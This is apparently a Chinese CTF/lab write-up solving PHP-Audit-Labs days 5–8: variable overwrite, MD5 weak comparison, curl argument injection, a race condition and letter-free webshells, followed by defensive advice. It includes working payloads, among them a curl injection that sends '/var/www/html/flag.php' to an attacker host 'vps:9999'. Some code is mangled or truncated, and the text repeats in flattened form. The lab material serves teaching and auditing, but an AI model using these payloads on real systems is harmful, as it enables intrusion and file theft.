[红日安全]PHP-Audit-Labs题解之Day5-8
字数 1495 2025-08-18 11:37:33

PHP代码审计实战教学:Day5-Day8题解

Day5:全局变量覆盖与curl文件读取

漏洞分析

  1. 全局变量覆盖漏洞
    • 代码使用extract($_POST, EXTR_SKIP)extract($_GET, EXTR_SKIP)处理输入
    • 结合unset函数绕过WAF检测
    • 可变变量(`

\[var`)的使用增加了复杂性 2. **MD5哈希碰撞**: - 使用`0e`开头的MD5值进行弱类型比较绕过 - 示例值:`QNKCDZO`的MD5为`0e830400451993494058024219903391` 3. **curl文件读取**: - 利用`escapeshellarg()`和`escapeshellcmd()`共同使用时的漏洞 - 通过添加单引号干扰转义 - 使用`-F`参数提交文件,配合代理监听 ### 利用步骤 1. **构造MD5碰撞**: ```http GET /index.php?flag=QNKCDZO&hongri=s878926199a ``` 2. **绕过WAF**: ```http POST /index.php _GET[flag]=QNKCDZO&_GET[hongri]=s878926199a ``` 3. **文件读取payload**: ```http url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 ``` ### 完整攻击请求 ```http POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 112 _GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999 ``` ## Day6:正则表达式与弱类型比较 ### 漏洞分析 1. **正则表达式字符类**: - `[[:graph:]]`:可打印字符(不包括空格) - `[[:punct:]]`:标点符号 - `[[:digit:]]`:数字 - `[[:upper:]]`:大写字母 - `[[:lower:]]`:小写字母 2. **密码强度检查**: - 至少12个可打印字符 - 至少分为6段(连续同类型字符为一段) - 至少包含3种字符类型(标点、数字、大写、小写) 3. **弱类型比较**: - `$password == 42` - 科学计数法绕过:`42.00e+00000`或`420.00000e-1` ### 有效payload ```http password=42.00e+00000 password=420.00000e-1 ``` ### 无效payload分析 `password=\x34\x32\x2E`不可行,因为: - 正则表达式字符类检查会将其视为标点符号 - 无法满足至少3种字符类型的要求 ## Day7:变量覆盖与时间竞争 ### 漏洞分析 1. **parse_str变量覆盖**: - `@parse_str($id)`不检查变量是否存在 - 可通过其他方式传入`$id`覆盖现有变量 2. **MD5哈希碰撞**: - 使用`0e`开头的MD5值绕过比较 - `md5('QNKCDZO') = 0e830400451993494058024219903391` - 有效payload:`a[0]=s878926199a` 3. **时间竞争漏洞**: - `usleep(100000)`提供100ms的时间窗口 - 需要在这段时间内访问写入的文件 ### 利用步骤 1. **触发变量覆盖**: ```http GET /index.php?id=a[0]=s878926199a ``` 2. **获取上传页面**: - 通过a标签自动携带Referer访问`uploadsomething.php` 3. **文件写入竞争**: ```http GET /uploadsomething.php?filename=flag&content=111 ``` 4. **快速读取文件**: ```python import requests r1 = requests.Session() while True: r2 = r1.get("http://127.0.0.1/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag") print(r2.text) ``` ## Day8:无字母数字Webshell ### 第一题解法 1. **限制条件**: - `code`参数不能包含字母和数字 - 长度不超过40字节 2. **利用技术**: - 异或运算和取反运算构造字符 - 使用`$_GET`数组动态调用函数 3. **payload分析**: ```php $_="_GET";$_GET[_]($_GET[getFlag]); ``` 等价于: ```php $_GET['_']($_GET['getFlag']); ``` 4. **37字节payload**: ```http ?code=$_="%01%08%00%00%00%02%04"^"%7f%7b%7f%7f%7f%60%60";$_(); ``` 5. **28字节优化payload**: ```http $_1c%1e%0f%3d%17%1a%1c";$_(); ``` ### 第二题解法(过滤下划线) 1. **中文变量名绕过**: ```http $哼=1c%1e%0f%3d%17%1a%1c";$哼(); ``` 2. **Fuzz可用ASCII字符**: ```python import requests for i in range(0,256): asc = "%%%02x" % i url = 'http://localhost/demo/index2.php?code=$%s=1c%%1e%%0f%%3d%%17%%1a%%1c";$%s();' % (asc,asc) r = requests.get(url) if 'HRCTF' in r.text: print("%s 可用" % asc) ``` 3. **替代payload**: ```http $呵=呵}[呵](${$呵}[呵]);&呵=getFlag ``` ## 总结与防御建议 1. **安全编码实践**: - 避免使用`extract()`和`parse_str()`等危险函数 - 使用严格比较运算符`===`而非`==` - 对用户输入进行严格过滤和验证 2. **正则表达式安全**: - 明确字符类范围 - 避免使用过于宽松的正则 - 考虑使用白名单而非黑名单 3. **文件操作安全**: - 限制文件操作权限 - 避免直接使用用户输入作为文件路径 - 使用安全的文件操作函数 4. **竞争条件防御**: - 使用文件锁机制 - 原子性操作 - 适当的延迟和重试机制 5. **Webshell防御**: - 禁用危险函数 - 限制代码执行功能 - 监控异常行为\]

PHP代码审计实战教学:Day5-Day8题解 Day5:全局变量覆盖与curl文件读取 漏洞分析 全局变量覆盖漏洞 : 代码使用 extract($_POST, EXTR_SKIP) 和 extract($_GET, EXTR_SKIP) 处理输入 结合 unset 函数绕过WAF检测 可变变量( $$var )的使用增加了复杂性 MD5哈希碰撞 : 使用 0e 开头的MD5值进行弱类型比较绕过 示例值: QNKCDZO 的MD5为 0e830400451993494058024219903391 curl文件读取 : 利用 escapeshellarg() 和 escapeshellcmd() 共同使用时的漏洞 通过添加单引号干扰转义 使用 -F 参数提交文件,配合代理监听 利用步骤 构造MD5碰撞 : 绕过WAF : 文件读取payload : 完整攻击请求 Day6:正则表达式与弱类型比较 漏洞分析 正则表达式字符类 : [[:graph:]] :可打印字符(不包括空格) [[:punct:]] :标点符号 [[:digit:]] :数字 [[:upper:]] :大写字母 [[:lower:]] :小写字母 密码强度检查 : 至少12个可打印字符 至少分为6段(连续同类型字符为一段) 至少包含3种字符类型(标点、数字、大写、小写) 弱类型比较 : $password == 42 科学计数法绕过: 42.00e+00000 或 420.00000e-1 有效payload 无效payload分析 password=\x34\x32\x2E 不可行,因为: 正则表达式字符类检查会将其视为标点符号 无法满足至少3种字符类型的要求 Day7:变量覆盖与时间竞争 漏洞分析 parse_ str变量覆盖 : @parse_str($id) 不检查变量是否存在 可通过其他方式传入 $id 覆盖现有变量 MD5哈希碰撞 : 使用 0e 开头的MD5值绕过比较 md5('QNKCDZO') = 0e830400451993494058024219903391 有效payload: a[0]=s878926199a 时间竞争漏洞 : usleep(100000) 提供100ms的时间窗口 需要在这段时间内访问写入的文件 利用步骤 触发变量覆盖 : 获取上传页面 : 通过a标签自动携带Referer访问 uploadsomething.php 文件写入竞争 : 快速读取文件 : Day8:无字母数字Webshell 第一题解法 限制条件 : code 参数不能包含字母和数字 长度不超过40字节 利用技术 : 异或运算和取反运算构造字符 使用 $_GET 数组动态调用函数 payload分析 : 等价于: 37字节payload : 28字节优化payload : 第二题解法(过滤下划线) 中文变量名绕过 : Fuzz可用ASCII字符 : 替代payload : 总结与防御建议 安全编码实践 : 避免使用 extract() 和 parse_str() 等危险函数 使用严格比较运算符 === 而非 == 对用户输入进行严格过滤和验证 正则表达式安全 : 明确字符类范围 避免使用过于宽松的正则 考虑使用白名单而非黑名单 文件操作安全 : 限制文件操作权限 避免直接使用用户输入作为文件路径 使用安全的文件操作函数 竞争条件防御 : 使用文件锁机制 原子性操作 适当的延迟和重试机制 Webshell防御 : 禁用危险函数 限制代码执行功能 监控异常行为